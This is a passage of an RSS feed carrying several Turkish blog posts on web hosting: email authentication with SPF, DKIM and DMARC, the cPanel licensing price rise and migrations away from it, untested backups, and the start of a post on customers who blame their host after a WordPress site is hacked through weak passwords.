<code>v=DMARC1; p=reject; rua=mailto:dmarc-reports@sirketiniz.com</code><br>
Anlamı şudur: <em>"Eğer benim adıma gelen bir e-posta SPF veya DKIM kontrolünden geçemezse; o e-postayı müşterinin spam klasörüne bile atma, doğrudan havada İMHA ET (reject) ve bana rapor gönder!"</em></p>
<hr>
<h3>Kriz Sahnesi: "Ben Anlamam Dkim Mkim!"</h3>
<p>Şimdi sahadaki tipik Türk müşterisinin yaşadığı trajediyi izleyelim.</p>
<p>Müşteri alan adını başka bir firmaya transfer etmiştir veya web sitesini yenilerken Cloudflare kurmuştur.<br>
Cloudflare kurarken DNS kayıtlarını kopyalamayı unutmuş, o eski SPF ve DKIM TXT kayıtları buharlaşmıştır!</p>
<p>Müşteri sabah işe gelir. Şirketin en büyük müşterisine (örneğin bir Gmail kullanıcısına) 100 bin liralık teklif e-postası gönderir.<br>
Teklif gitmez!<br>
Ya da müşterinin "Gereksiz / Spam" klasörünün dibine düşer! Karşı taraf teklifi görmez.</p>
<p>Müşteri hışımla hosting firmasının destek masasına dalar:</p>
<blockquote>
<p><em>"Sizin sunucunuz bozuk! Ben Gmail'e mail atıyorum müşterime gitmiyor, maillerim spama düşüyor! Sizin yüzünüzden milyonluk ihaleyi kaybettim! Sunucunuzun mail ayarlarını düzeltin!"</em></p>
</blockquote>
<p>Destek masasındaki genç mühendis loglara bakar:<br>
<code>DMARC policy failure: SPF record not found, DKIM signature missing. Message rejected by mx.google.com.</code></p>
<p>Mühendis müşteriye bilet üzerinden yazar:<br>
<em>"Hasan Bey, alan adınızın DNS kayıtlarında SPF ve DKIM kayıtlarınız eksik. Google 2024 politikaları gereği bu kayıtlar olmadan mailleri kabul etmiyor. Lütfen DNS panelinize girip şu TXT kayıtlarını ekleyiniz..."</em></p>
<p>Müşterinin yanıtı sinir krizinin zirvesidir:<br>
<em>"Ne TXT'si kardeşim? Ben anlamam dkim mkim! Ben e-posta mühendisi miyim?! Ben size her yıl para ödüyorum, benim mailimi tıkır tıkır karşıya atacaksınız! Suçu Google'a atmayın, sunucunuzu tamir edin!"</em></p>
<hr>
<h3>Devlerin Masasında Kuralları Küçükler Belirleyemez</h3>
<p>Müşterinin idrak edemediği en büyük küresel gerçek şudur:<br>
İnternet dünyasında Google, Microsoft ve Yahoo gibi devler bir kural koyduğunda; dünyadaki hiçbir hosting firmasının <em>"Ben bu kuralı tanımıyorum, benim müşterimin mailini alacaksın"</em> deme lüksü yoktur!</p>
<p>Siz ister dünyanın en pahalı sunucusuna sahip olun, ister aylık yüz bin dolar ödeyin; DNS kayıtlarınızda o kriptografik SPF, DKIM ve DMARC üçlüsü kusursuz parlamıyorsa; Google'ın kapısındaki yapay zeka bekçisi e-postanızı tereddüt bile etmeden çöplüğe fırlatır.</p>
<hr>
<h3>E-Posta İtibarını Kurtarma Rehberi</h3>
<p>Şirketinizin e-postalarının çöpe gitmesini istemiyorsanız, şu teknik hijyen adımlarını derhal tamamlamalısınız:</p>
<ol>
<li><strong>DNS Sağlık Testi Yapın:</strong> <code>mail-tester.com</code> veya <code>mxtoolbox.com</code> gibi ücretsiz analiz araçlarına bir test maili gönderin. Puanınızın <strong>10 üzerinden 10</strong> olduğundan emin olun. SPF, DKIM veya DMARC'tan tek bir kırık not bile almamalısınız.</li>
<li><strong>Reverse DNS (rDNS / PTR Kaydı):</strong> Sunucunuzun IP adresinin ters DNS kaydı, sunucunuzun tam alan adıyla (<code>mail.sirketiniz.com</code>) birebir eşleşmelidir. PTR kaydı olmayan bir IP'den gelen maili hiçbir kurumsal sunucu içeri almaz.</li>
<li><strong>DMARC Politikasını Kademeli Başlatın:</strong> DMARC kaydını ilk gün doğrudan <code>p=reject</code> yapmayın; önce <code>p=none</code> (sadece izleme) modunda başlatıp raporları inceleyin, tüm meşru e-postalarınızın doğrulandığından emin olduktan sonra <code>p=quarantine</code> veya <code>p=reject</code> seviyesine çekin.</li>
<li><strong>Büyük E-Posta Gönderimlerini Ayırın:</strong> Müşterilerinize toplu bülten veya kampanya e-postası atacaksanız, bunu asla kurumsal mail sunucunuzdan yapmayın! SendGrid, Mailgun veya Postmark gibi özel toplu e-posta altyapılarını kullanın.</li>
</ol>
<p>Tıpta pasaportu ve aşısı eksik olan yolcu sınırdan geri çevrilir; suçu sınır polisine atamazsınız.</p>
<p>İnternet dünyasında da e-postanız karşıya gitmiyorsa suçu hosting firmasında aramayı bırakın. Küresel dünyanın dijital pasaport kurallarına uyun; SPF, DKIM ve DMARC kayıtlarınızı eksiksiz tamamlayın. Çünkü fotonlar ve algoritmalar cehaleti değil, sadece matematiği tanır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>DNS</category>
            <category>SPF</category>
            <category>DKIM</category>
            <category>DMARC</category>
            <category>SysAdmin</category>
            <category>Ağ Güvenliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mailim-gitmiyor-bilesi-ve-mxspfdkimdmarc-dortlusunun-agir-burokrasisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["cPanel Lisans Zamları" ve Büyük Göç: Altyapı Bağımlılığının Ağır Faturası]]></title>
            <link>http://localhost:3000/blog/post/cpanel-lisans-zamlari-ve-buyuk-goc-altyapi-bagimliliginin-agir-faturasi</link>
            <guid>cpanel-lisans-zamlari-ve-buyuk-goc-altyapi-bagimliliginin-agir-faturasi</guid>
            <pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[cPanel'in hesap başı lisanslamaya geçerek sektörü sarstığı o tarihi deprem; DirectAdmin ve CyberPanel'e kaçış sancıları, jenerik ilaç metaforu ve alışkanlık muhafazakarlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cpanel-lisans-zamlari-ve-buyuk-goc-altyapi-bagimliliginin-agir-faturasi/thumbnail" alt=""> Sağlık ekonomisinde ve farmakolojide çok iyi bilinen bir "Orijinal İlaç vs. Jenerik İlaç" krizi vardır.</p>
<p>Uluslararası bir ilaç devi, dünyada tekel olduğu patentli bir tansiyon veya romatizma ilacının fiyatını bir gecede beş katına çıkarır. Sosyal güvenlik kurumları ve sigorta şirketleri bu fahiş faturayı karşılayamayacaklarını duyurur ve derhal ilacın tamamen aynı etken maddesine, aynı moleküler yapısına sahip yerli ve ekonomik "eşdeğer (jenerik)" versiyonuna geçiş kararı alır. İlaç biyolojik olarak tamamen aynı işi yapmaktadır; tansiyonu aynı hızla düşürür, kanı aynı şekilde temizler.</p>
<p>Fakat eczaneye giden hasta ilacın kutusunu eline aldığında kıyameti koparır:<br>
<em>"Bu kutunun rengi mavi değil yeşil! Hapın şekli yuvarlak değil oval! Bu sahte ilaç, siz benim canıma mı kastediyorsunuz? Bana eski orijinal ilacımı verin!"</em></p>
<p>Hasta ilacın molekülüne değil; yirmi yıldır alıştığı o mavi kutunun görüntüsüne ve şekline bağımlıdır. Alışkanlığın psikolojisi, kimyanın rasyonel gerçeklerini ezip geçer.</p>
<p>Web hosting dünyasında, veri merkezlerinde ve internet servis sağlayıcılarında da tam olarak bu jenerik ilaç isyanını kopyalayan, Türk hosting sektörünün son yirmi yılda yaşadığı en büyük travmalardan biri vardır: <strong>cPanel'in Hesap Başı Lisans Zamları ve DirectAdmin'e Zorunlu Göç Sancıları.</strong></p>
<hr>
<h3>Yirmi Yıllık Altın Kafes: Sınırsız Hesap Masalı</h3>
<p>1990'ların sonundan 2019 yılına kadar dünya hosting sektörünün tartışmasız, mutlak imparatoru <strong>cPanel</strong> idi.</p>
<p>O yıllarda cPanel'in lisans modeli hosting firmaları için adeta bir cennetti:</p>
<ul>
<li>Fiziksel sunucu başına sabit bir ücret öderdin: <strong>Aylık 15 ila 20 Dolar!</strong></li>
<li>İster 50 hesap barındır, ister sunucuya balık istifi gibi 2.000 adet web sitesi hesabı doldur; ödediğin lisans ücreti asla değişmezdi.</li>
</ul>
<p>Bu model sayesinde tüm sektör inanılmaz bir rehavete kapıldı.<br>
Sistem yöneticileri Linux konsolunu unuttu, komut satırı yazmayı bıraktı. Her şey cPanel'in o dost canlısı, sarı-turuncu ikonlu arayüzünden iki tıkla yapılır hale geldi.</p>
<p>Müşteriler de cPanel ile büyüdü: Bir Türk KOBİ'si veya webmaster'ı için "internet sunucusu" demek cPanel demekti. E-posta hesabı açmak, veritabanı kurmak, dosya yüklemek sadece o turuncu ikonlarla mümkündü.</p>
<p>Sektör, kendi rızasıyla devasa bir <strong>Tedarikçi Bağımlılığı (Vendor Lock-in)</strong> altın kafesinin içine girdi ve kapıyı arkasından kilitledi.</p>
<hr>
<h3>2019 Depremi: Tekelin Neşteri</h3>
<p>Ve 2019 yılının sıcak bir yaz günü...<br>
cPanel'in çatı şirketi el değiştirdi ve özel sermaye fonu (Oakley Capital) yönetimi devraldı.<br>
Şirket dünya hosting sektörüne bir gecede bomba gibi düşen o tarihi basın bültenini yayınladı:<br>
<strong>"Sabit Fiyatlandırma Bitti. Hesap Başına Lisanslama Başlıyor!"</strong></p>
<p>Yeni kurallar acımasızdı:</p>
<ul>
<li>Artık sunucu başına sabit 20 Dolar yoktu!</li>
<li>İlk 100 hesaptan sonra, sunucudaki <strong>her bir ekstra hesap için ek lisans ücreti (hesap başı 0.20<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>0.35</mn></mrow><annotation encoding="application/x-tex"> - 0.35</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.35</span></span></span></span>)</strong> tahsil edilecekti!</li>
</ul>
<p>Gelin Türk hosting firmalarının yüzleştiği korkunç matematiğe bakalım:<br>
Bir sunucuda 1.000 adet paylaşımlı müşteri hesabı barındıran bir firma düşünün.</p>
<ul>
<li>Eski maliyet: <strong>Aylık 20 Dolar (O dönemin kuruyla yaklaşık 120 TL).</strong></li>
<li>Yeni maliyet: <strong>Aylık 250 - 300 Dolar!</strong></li>
<li>Üstelik Türkiye'de dolar kurunun hızla tırmandığı bir dönemde, bir sunucunun aylık panel lisans maliyeti; o sunucunun veri merkezinde tükettiği elektrik ve kiralık donanım maliyetini bile <strong>katbekat geride bıraktı!</strong></li>
</ul>
<p>Hosting firmaları yıllık 30-50 liraya sattıkları müşterilerden ayda 5 dolar lisans parası ödemek zorunda kalma tehdidiyle karşı karşıyaydı. Matematik iflas etmişti.</p>
<hr>
<h3>Büyük Kaçış: DirectAdmin ve CyberPanel'e Hücum</h3>
<p>Sektör panik içindeydi. Küçük ve orta ölçekli hosting sağlayıcıları için tek bir kurtuluş yolu kalmıştı: <strong>cPanel'i Terk Etmek.</strong></p>
<p>Gece yarısı göç operasyonları başladı:</p>
<ol>
<li><strong>DirectAdmin:</strong> Yıllarca cPanel'in gölgesinde kalmış, hantal ama çok daha ekonomik olan emektar alternatif. Firmalar sunucularını toplu olarak DirectAdmin'e taşımaya başladı.</li>
<li><strong>CyberPanel (OpenLiteSpeed):</strong> Açık kaynak kodlu, modern, LiteSpeed önbellek entegrasyonu olan ücretsiz panel arayışı.</li>
<li><strong>Plesk:</strong> Ancak Plesk de aynı çatı şirketin elinde olduğu için bir süre sonra o da aynı zam dalgasına kapıldı.</li>
</ol>
<p>Mühendisler haftalarca sabahladı. Yüz binlerce web sitesi, veritabanları, e-posta kutuları yedeklendi ve DirectAdmin sunucularına aktarıldı.</p>
<p>Teknik olarak her şey başarıyla tamamlanmıştı:<br>
PHP aynı PHP idi, MySQL aynı MySQL idi, web siteleri tıkır tıkır çalışıyordu.</p>
<p>Fakat asıl felaket, müşterilerin kontrol panellerini açtığı o pazartesi sabahı patlak verdi!</p>
<hr>
<h3>"Benim Panelimi Geri Verin!" İsyanı</h3>
<p>Müşteri web sitesinin kontrol paneline girmek için adres çubuğuna tıkladı: <code>site.com:2222</code>.<br>
Karşısına cPanel'in o alıştığı sarı-turuncu ikonlu dünyası yerine, DirectAdmin'in daha sade, minimalist, mavi tonlu arayüzü çıktı.</p>
<p>Ve Türkiye çapında telefonlar ve bilet sistemleri kilitlendi:</p>
<blockquote>
<p><em>"Bu ne biçim bir sayfa?! Benim cPanel'ime ne yaptınız?!</em><br>
<em>PhpMyAdmin nerede? Dosya yöneticisini bulamıyorum! E-posta açma butonu nerede?!</em><br>
<em>Siz bizi dolandırdınız mı, çakma panele mi geçirdiniz bizi?!</em><br>
<em>Hemen benim eski cPanel'imi geri verin yoksa tüm sitelerimi başka firmaya taşırım!"</em></p>
</blockquote>
<p>Destek masasındaki mühendisler günlerce aynı açıklamayı papağan gibi tekrarladı:<br>
<em>"Beyefendi, siteniz aynı şekilde çalışıyor. cPanel firması lisans ücretlerini yüzde bin artırdığı için hizmet fiyatlarımızı artırmamak adına bu panele geçtik. Soldaki menüden yine aynı şekilde e-postanızı açabilir, PhpMyAdmin'e girebilirsiniz..."</em></p>
<p>Fakat müşterinin cevabı o jenerik ilacı reddeden teyzeden farksızdı:<br>
<em>"Ben bilmem lisansı misansı! Ben cPanel'e alışmıştım, bu panel çok karışık, ben bunu kullanamıyorum!"</em></p>
<hr>
<h3>Bağımlılığın Bedeli ve Açık Kaynağın Değeri</h3>
<p>cPanel lisans krizi, tüm teknoloji dünyası için devasa bir ders oldu:</p>
<ol>
<li><strong>Tek Bir Tekele Yaslanmanın Tehlikesi:</strong> Bir yazılım veya platform sektörde tekel haline geldiğinde, kullanıcılarını birer rehine gibi görmeye başlar. Alternatifleri desteklemeyen, tüm altyapısını tek bir ticari lisansa bağlayan şirketler o tekelin zamlarına boyun eğmeye mahkûmdur.</li>
<li><strong>Arayüz Değil, Yetenek Bağımlılığı:</strong> Bir sistemcinin veya webmaster'ın değeri cPanel ikonlarının yerini ezberlemekle değil; arkada çalışan Linux işletim sisteminin, Apache'nin, Nginx'in mantığını bilmekle ölçülür. Komut satırını bilen bir mühendis için panelin cPanel veya DirectAdmin olması sadece 5 dakikalık bir alışma sürecidir.</li>
<li><strong>Açık Kaynak Kurtarıcıdır:</strong> Bu kriz sayesinde hosting sektörü açık kaynak kodlu panellerin (CyberPanel, CloudPanel, HestiaCP) ne kadar hayati olduğunu anladı ve bu projelere yatırım yapmaya başladı.</li>
</ol>
<p>Tıpta ilacın kutusunun rengine takılıp tedavisini aksatan hasta kendi sağlığına zarar verir.</p>
<p>Hosting dünyasında da arayüzün ikonlarına takılıp altyapının ekonomik gerçeklerini görmezden gelen müşteri; tekelci şirketlerin fahiş faturalarını kendi cebinden ödemek zorunda kalır.</p>
<p>Alışkanlıklarınızı değil, yeteneklerinizi geliştirin; çünkü dijital dünyada tek bir tıkla tüm kurallar değişebilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>DirectAdmin</category>
            <category>CyberPanel</category>
            <category>Hosting</category>
            <category>Lisans</category>
            <category>Vendor Lock-in</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cpanel-lisans-zamlari-ve-buyuk-goc-altyapi-bagimliliginin-agir-faturasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Yedek Almayı Müşteriye Bırakmak": "Restore" Anındaki Büyük Çaresizlik]]></title>
            <link>http://localhost:3000/blog/post/yedek-almayi-musteriye-birakmak-restore-anindaki-buyuk-caresizlik</link>
            <guid>yedek-almayi-musteriye-birakmak-restore-anindaki-buyuk-caresizlik</guid>
            <pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sözleşmedeki küçük puntolu "Yedekleme müşterinin sorumluluğundadır" maddesi ile yüzleşen şirket patronu; bozuk çıkan arşiv dosyaları, test edilmemiş yedeklerin iflası ve veri cenazesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yedek-almayi-musteriye-birakmak-restore-anindaki-buyuk-caresizlik/thumbnail" alt=""> Havacılık eğitimlerinde ve paraşüt atlayışlarında her sporcunun omuriliğine kazınan çok katı bir hayatta kalma kuralı vardır.</p>
<p>Uçağın kapısından dört bin metre yükseklikte boşluğa atlayan bir paraşütçünün sırtında iki çanta bulunur: Ana paraşüt ve yedek paraşüt. Paraşütçü gökyüzünde süzülürken <em>"Nasıl olsa sırtımda yedek paraşütüm var, bana bir şey olmaz"</em> diyerek kendini güvende hisseder.</p>
<p>Fakat o yedek paraşüt son iki yıldır hiç açılmamışsa, nemli bir depoda fareler tarafından kemirilmişse, katlama protokollerine göre katlanmamış ve ipleri düğümlenmişse ne olur?</p>
<p>Bin metre irtifada ana paraşüt açılmadığında paraşütçü panikle göğsündeki kırmızı mandalı çeker: Yedek paraşüt fırlar; fakat açılmaz, ipleri birbirine dolanır ve paraşütçü saatte iki yüz kilometre hızla yere çakılır.</p>
<p>Havacılığın kanla yazılmış en temel dersi şudur: <strong>Daha önce yere inişi bizzat test edilmemiş bir yedek paraşüt, bir kurtarıcı değil; sadece sahte bir özgüven aşılayan ağır bir kumaş parçasıdır.</strong></p>
<p>Web hosting sektöründe, veritabanı yönetiminde ve bilişim dünyasında da her gün yüzlerce şirketin dijital ölümüne sebep olan, ofisleri mezar sessizliğine gömen en trajik kabus tam olarak budur: <strong>"Yedeğimiz Vardı" Zanneden Müşterinin "Restore" (Geri Yükleme) Anında Karşılaştığı Korkunç Sessizlik.</strong></p>
<hr>
<h3>Bir Tıklamayla Buharlaşan On Yıllık Şirket Hafızası</h3>
<p>Olaylar genellikle sıradan bir salı günü öğleden sonra, çok basit bir insan hatasıyla başlar:</p>
<ul>
<li>Şirketin genç yazılımcısı phpMyAdmin paneline girer. Test veritabanını temizlemek isterken yanlışlıkla canlı prodüksiyon veritabanını seçer ve o meşhur butona basar: <code>DROP DATABASE</code>.</li>
<li>Ya da şirket sahibi WordPress sitesine yeni bir muhasebe eklentisi kurarken bir hata oluşur ve sitenin tüm ürünler, siparişler ve müşteri kayıtları tablosu bozulur (corrupt).</li>
</ul>
<p>On yıllık şirket verisi, faturalar, cari hesaplar, müşteri bakiyeleri bir saniyede buharlaşmıştır!</p>
<p>Şirket patronu panikle koltuğundan fırlar. Yüzü bembeyazdır.<br>
Fakat içindeki o sahte güven duygusu hala canlıdır:<br>
<em>"Neyse ki hosting firmamız var! Onlar her gece sunucunun yedeğini alıyor, hemen arayın dünkü yedeği geri yüklesinler (restore etsinler)."</em></p>
<p>Patron telefona sarılır, hosting firmasını arar veya destek paneline kırmızı ünlemlerle dolu acil bir bilet (ticket) açar:</p>
<blockquote>
<p><em>"Sitemizin veritabanı yanlışlıkla silindi. Lütfen bu sabah saat 04:00'te aldığınız otomatik sistem yedeğini derhal geri yükleyin!"</em></p>
</blockquote>
<p>Ve beş dakika sonra...<br>
Hosting firmasından gelen o resmi, soğuk, hukuki yanıt patronun göğsüne bir kurşun gibi saplanır.</p>
<hr>
<h3>Sözleşmedeki Küçük Punto: Madde 7.3</h3>
<blockquote>
<p><em>"Sayın Müşterimiz,<br>
Hizmet Satış Sözleşmemizin 7.3 maddesi uyarınca: <strong>'Paylaşımlı hosting hizmetlerinde veri yedekleme ve saklama sorumluluğu tamamen müşteriye aittir. Sağlayıcı olası donanımsal felaketlere karşı haftalık periyodik imajlar alabilir; ancak alınan yedeklerin bütünlüğünü, çalışabilirliğini ve veri kaybı yaşanmayacağını hiçbir koşulda taahhüt etmez.'</strong><br>
Sistemlerimiz incelendiğinde hesabınıza ait güncel bir geri yükleme noktası bulunamamıştır."</em></p>
</blockquote>
<p>Patronun başı döner. Kulakları çınlamaya başlar:<br>
<em>"Nasıl yani?! Ben size her yıl para ödüyorum, benim yedeklerimi almıyor musunuz?!"</em></p>
<p>Almıyorlar.<br>
Çünkü yıllık 100-200 liraya satılan paylaşımlı bir hosting paketinde; 500 müşterinin yüzlerce gigabaytlık verisini her gece harici depolama ünitelerine yedeklemek, o yedekleri tek tek test etmek ve saklamak devasa bir depolama ve lisans maliyetidir.</p>
<p>Hosting firmaları o yedekleri şirket için değil; sadece sunucunun tüm diskleri patlarsa kendi altyapılarını ayağa kaldırmak için toplu imajlar halinde alırlar. Müşterinin tek bir tablosunu kurtarmak onların sorumluluk alanında değildir.</p>
<hr>
<h3>Bozuk Arşiv Faciası: Yedeğin Var Ama Aslında Yok!</h3>
<p>Yine de bazen şans yüzünüze güler gibi olur.<br>
Hosting firmasının iyi niyetli bir destek personeli çıkar:<br>
<em>"Ahmet Bey, ana backup sunucumuza baktım. Şanslısınız, geçen pazar gecesinden kalma bir cPanel yedek arşiviniz (<code>backup-4.12.2026.tar.gz</code>) duruyor. Boyutu 4.2 GB. İsterseniz bunu sunucunuza restore edebilirim."</em></p>
<p>Ofiste bir bayram havası eser! Patron rahat bir nefes alır: <em>"Oh çok şükür, sadece iki günlük veri kaybettik, en azından 10 yılımız kurtuldu!"</em></p>
<p>Mühendis terminalden geri yükleme komutunu çalıştırır:<br>
<code>tar -zxvf backup-4.12.2026.tar.gz</code></p>
<p>Ve restorasyonun ortasında, saat 16:45'te o tarihi ölüm fermanı konsola basılır:<br>
<code>gzip: stdin: unexpected end of file</code><br>
<code>tar: Unexpected EOF in archive</code><br>
<code>tar: Error is not recoverable: exiting now</code><br>
<code>MySQL import error: Table 'musteriler' doesn't exist / Corrupted SQL dump file.</code></p>
<p>Yedek dosyası bozuktur!<br>
Geçen pazar gecesi o yedek alınırken sunucunun yedekleme diski dolmuş ve sistem yedeği <strong>yarım bırakarak arşivi kapatmıştır!</strong><br>
Dosyanın boyutu 4 GB görünmektedir; fakat içi boş, bozuk ve yarım yamalak bir veri çöpüdür.</p>
<p>Veritabanı geri yüklenemez. Şirketin on yılı sonsuza kadar yok olmuştur.<br>
Ofise çöken o ölüm sessizliğini, çalışanların birbirine çaresizce bakışını hiçbir kelime tarif edemez.</p>
<hr>
<h3>Schrödinger'in Yedeği: Test Edilmemiş Yedek Yok Hükmündedir</h3>
<p>Bilişim dünyasında sistem mühendislerinin çok acı bir aforizması vardır:<br>
<strong>"Schrödinger'in Yedeği: Alınan bir yedeğin sağlam olup olmadığını, ancak onu geri yüklemeye (restore) çalıştığınız an anlarsınız. Test edilene kadar o yedek aynı anda hem vardır, hem yoktur."</strong></p>
<p>Bir şirketin yedekleme stratejisi dosya kopyalamaktan ibaret olamaz.</p>
<p>Dünyanın kabul ettiği altın standart <strong>"3-2-1 Yedekleme Kuralı"dır:</strong></p>
<ul>
<li><strong>3 Kopya:</strong> Verinizin en az 3 farklı kopyası olmalıdır (1 prodüksiyon + 2 yedek).</li>
<li><strong>2 Farklı Medya:</strong> Bu kopyalar en az 2 farklı depolama türünde tutulmalıdır (örneğin biri yerel SSD, biri NAS veya Bulut Depolama).</li>
<li><strong>1 Harici Lokasyon:</strong> En az 1 kopya, ana sunucunun bulunduğu veri merkezinden tamamen bağımsız, coğrafi olarak farklı bir lokasyonda (örneğin AWS S3, Wasabi veya Google Cloud) saklanmalıdır.</li>
</ul>
<p>Ve bu kuralın en hayati dördüncü maddesi şudur:<br>
<strong>Ayda bir kez o yedek başka bir boş sunucuya geri yüklenmeli ve sitenin, veritabanının tıkır tıkır ayağa kalktığı gözlerle doğrulanmalıdır!</strong></p>
<hr>
<h3>Dijital Hayatınızı Şansa Bırakmayın</h3>
<p>Bir web siteniz, bir e-ticaret girişiminiz veya bir şirketiniz varsa; şu andan itibaren şu gerçeği kabul etmek zorundasınız:</p>
<ul>
<li>Hosting firmanız sizin babanızın şirketi değildir; sözleşmede yazan madde neyse kanun odur. Hiçbir hosting firması sizin verinizi sizin kadar önemsemez.</li>
<li>Kendi yedeğinizi kendiniz almak zorundasınız: Her cuma günü cPanel'e girip tam bir "Full cPanel Backup" indirin veya sitenize otomatik olarak Google Drive'a / Amazon S3'e yedek atan bağımsız eklentiler (UpdraftPlus, Duplicator vb.) kurun.</li>
<li>O yedeği bilgisayarınızın yerel diskine çekin; sunucuda bırakılan yedek, sunucu yandığında sunucuyla birlikte yanar.</li>
</ul>
<p>Tıpta yere inişi test edilmemiş paraşütle atlayan sporcu yere çakılır.</p>
<p>Bilişimde de "firmam yedek alıyordur" tembelliğiyle yaşayan patron; bir gün o tek bir yanlış tıkla on yıllık emeğinin, itibarının ve sermayesinin dijital bir mezara gömülüşünü çaresiz gözyaşlarıyla izlemeye mahkûmdur. Verinizi başkasına emanet etmeyin; çünkü giden veriyi hiçbir mahkeme geri getiremez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Yedekleme</category>
            <category>Backup</category>
            <category>Restore</category>
            <category>Hosting</category>
            <category>Veri Kurtarma</category>
            <category>Disaster Recovery</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yedek-almayi-musteriye-birakmak-restore-anindaki-buyuk-caresizlik/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sitem Hacklendi": Kapıyı Açık Bırakıp Mahalleyi Suçlama Refleksi]]></title>
            <link>http://localhost:3000/blog/post/sitem-hacklendi-kapiyi-acik-birakip-mahalleyi-suclama-refleksi</link>
            <guid>sitem-hacklendi-kapiyi-acik-birakip-mahalleyi-suclama-refleksi</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şifresi "123456" olan, korsan temalarla virüs kapan WordPress sitelerinin ardından hosting firmasına "Sunucunuz delindi!" diye saldıran müşteri psikolojisi; adli tıp ve gıda zehirlenmesi analojisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sitem-hacklendi-kapiyi-acik-birakip-mahalleyi-suclama-refleksi/thumbnail" alt=""> Adli tıpta ve acil toksikoloji servislerinde hekimlerin sıkça karşılaştığı ibretlik bir "suçu dışsallaştırma" psikolojisi vardır.</p>
<p>Bir vatandaş sokak arasında, güneşin altında kırk derece sıcakta sabahtan akşama kadar beklemiş şüpheli bir tavuk döneri yer. Gece saat üçte midesi kramplarla kıvranmaya başlar; şiddetli kusma, kanlı ishal ve yüksek ateşle ambulansla acil servise kaldırılır. Vaka apaçık bir <em>Salmonella</em> veya <em>Clostridium perfringens</em> kaynaklı ağır bir gıda zehirlenmesidir.</p>
<p>Fakat sedyede yatan hasta hekime ve hemşirelere öfkeyle bağırır:<br>
<em>"Doktor hanım bu hastanenin musluk suları zehirli! Ben servise girerken lavabodan bir yudum su içtim, beni o su zehirledi! Sizi Sağlık Bakanlığı'na şikayet edeceğim, hijyeniniz sıfır!"</em></p>
<p>Kendi eliyle yuttuğu o bozuk tavuğu, ödediği yirmi liralık ucuz döneri beyni tamamen inkâr eder. Çünkü kendi hatasını, kendi ihmalkarlığını kabul etmek insan egosuna ağır gelir; suçu kurumsal bir otoriteye, hastanenin musluğuna yıkmak psikolojik olarak çok daha konforludur.</p>
<p>Web hosting sektöründe, siber güvenlik operasyonlarında ve teknik destek masalarında her Allah'ın günü yaşanan en yorucu, en pişkin kriz tam olarak bu zehirlenme refleksiyle patlak verir: <strong>Kendi Sitesine Korsan Temalar Yükleyip Şifresini "123456" Yapan Müşterinin, Site Hacklenince Hosting Firmasına "Sunucunuz Güvenli Değil!" Diye Saldırması.</strong></p>
<hr>
<h3>Sabah Gelen Sürpriz: Kuru Kafa ve Rusça İlanlar</h3>
<p>Pazartesi sabahı şirket sahibi işe gelir. Web sitesine girmek ister: <code>www.sirketiniz.com</code>.<br>
Fakat ekrana şirketinin o şık ana sayfası gelmez.</p>
<p>Ekranda simsiyah bir arka plan, ortada kırmızı gözlü bir kuru kafa animasyonu, arkada çalan garip bir müzik ve altında şu yazı parıldar:<br>
<strong>"HACKED BY xX_DARK_SHADOW_Xx - YOUR SECURITY IS AN ILLUSION!"</strong></p>
<p>Ya da daha kötüsü:<br>
Sitenin ana sayfası görünürde normaldir; fakat Google aramalarında şirketin adı aratıldığında başlığın altında şu yazılar çıkmaktadır:<br>
<em>"En ucuz kaçak bahis sitesi! Sahte saatler! Online casino giriş..."</em><br>
Sitenin içine yüz binlerce gizli Japonca ve Rusça spam sayfası enjekte edilmiştir.</p>
<p>Şirket patronunun gözü döner. Yüzü kıpkırmızı olur.<br>
Hemen hosting firmasının müşteri paneline girer ve klavyeyi kırarcasına, büyük harflerle o tarihi destek biletini yazar:</p>
<blockquote>
<p><strong>Konu:</strong> SUNUCUNUZ HACKLENDİ REZALET BİR FİRMASINIZ!<br>
<strong>Mesaj:</strong> <em>"Kardeşim siz nasıl bir veri merkezisiniz?! Sitenizin güvenliği sıfır! Sunucunuz delinmiş, hackerlar sunucunuza girip benim sitemi patlatmış! Güvenlik duvarınız yok mu sizin?! Bütün prestijimiz yerle bir oldu! Eğer sunucunuzu derhal güvenli hale getirip sitemi temizlemezseniz sizi savcılığa vereceğim, KVKK'ya şikayet edeceğim!"</em></p>
</blockquote>
<hr>
<h3>Olay Yeri İncelemesi: Kendi Eliyle Bırakılan Anahtar</h3>
<p>Destek masasındaki kıdemli sistem yöneticisi bu biletleri ezbere bilir.<br>
Hiç tartışmaya girmez. Hemen sunucunun SSH konsoluna bağlanır ve web sunucusunun erişim loglarını (<code>access_log</code> ve <code>audit_log</code>) incelemeye başlar.</p>
<p>Ortaya çıkan adli bilişim (forensics) tablosu her zaman aynı sefaleti gözler önüne serer:</p>
<h4>1. Delil: Şifre Seviyesi</h4>
<p>Müşterinin WordPress yönetici hesabına (<code>wp-admin</code>) bakılır:</p>
<ul>
<li>Kullanıcı Adı: <code>admin</code></li>
<li>Şifre: <code>123456</code> veya <code>sirket2023</code>!<br>
